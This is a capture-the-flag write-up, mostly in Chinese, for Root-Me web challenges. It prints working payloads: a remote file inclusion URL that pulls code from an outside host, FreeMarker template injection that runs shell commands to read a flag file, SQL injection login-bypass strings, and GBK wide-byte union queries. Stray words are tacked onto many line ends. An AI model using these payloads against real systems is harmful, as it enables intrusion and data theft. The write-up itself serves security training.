root-me web server 20-30 writeup

Remote File Inclusion-遠程文件包含

Get the PHP source code.php

ctrl+uhtml

進行RFI攻擊須要同時具有三個條件(被攻擊機器):web

allow_url_fopen = On (默認開啓)sql

allow_url_include = On (默認關閉)服務器

被包含的變量前沒有目錄的限制ide

<?php
$filename = $_GET['file']; //將參數file的值傳送給變量filename
include($filename); //使用include()函數包含變量
?>函數

view-source:http://challenge01.root-me.org/web-serveur/ch13/?lang=http://7xspti.com2.z0.glb.clouddn.com/123url

Server-side Template Injection-服務器端模板注入

Java EE.net

Exploit the vulnerability in order to retrieve the validation password in the file SECRET_FLAG.txt.code

參考資料

對輸入過濾不嚴格

${2*3}

說明執行了

參考資料

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("ls -l") }

找目錄SECRET_FLAG.txt

查看選中部分源碼

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("cat ../SECRET_FLAG.txt") }

SQL injection - authentication

Retrieve the administrator password

ctrl+u

使用萬能密鑰

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

密碼123456

ctrl+u

type="password" value="t0_W34k!$"

SQL injection - authentication - GBK

寬字節注入

參考資料

http://challenge01.root-me.org/web-serveur/ch42/index.php?id=1%bf%5c%27

http://leettime.net/sqlninja.com/tasks/mics_ch6.php?id=1%bf%5c'
http://leettime.net/sqlninja.com/tasks/mics_ch6.php?id=1%af%5c'Union(select(1),2,3,4,5,6,7,8)%23
http://leettime.net/sqlninja.com/tasks/mics_ch6.php?id=1%af%5c'Union(select(1),version(),3,4,5,6,7,8)%23

SQL injection - string-字符型注入

Retrieve the administrator password

http://challenge01.root-me.org/web-serveur/ch19/?action=news&news_id=1
正常
http://challenge01.root-me.org/web-serveur/ch19/?action=news&news_id=1'
報錯

𖠂’ OR 1=1 /*

SELECT * FROM test WHERE name = '𖠂’ OR 1=1 /*’ LIMIT 1

歡迎訪問個人獨立博客:joy_nick

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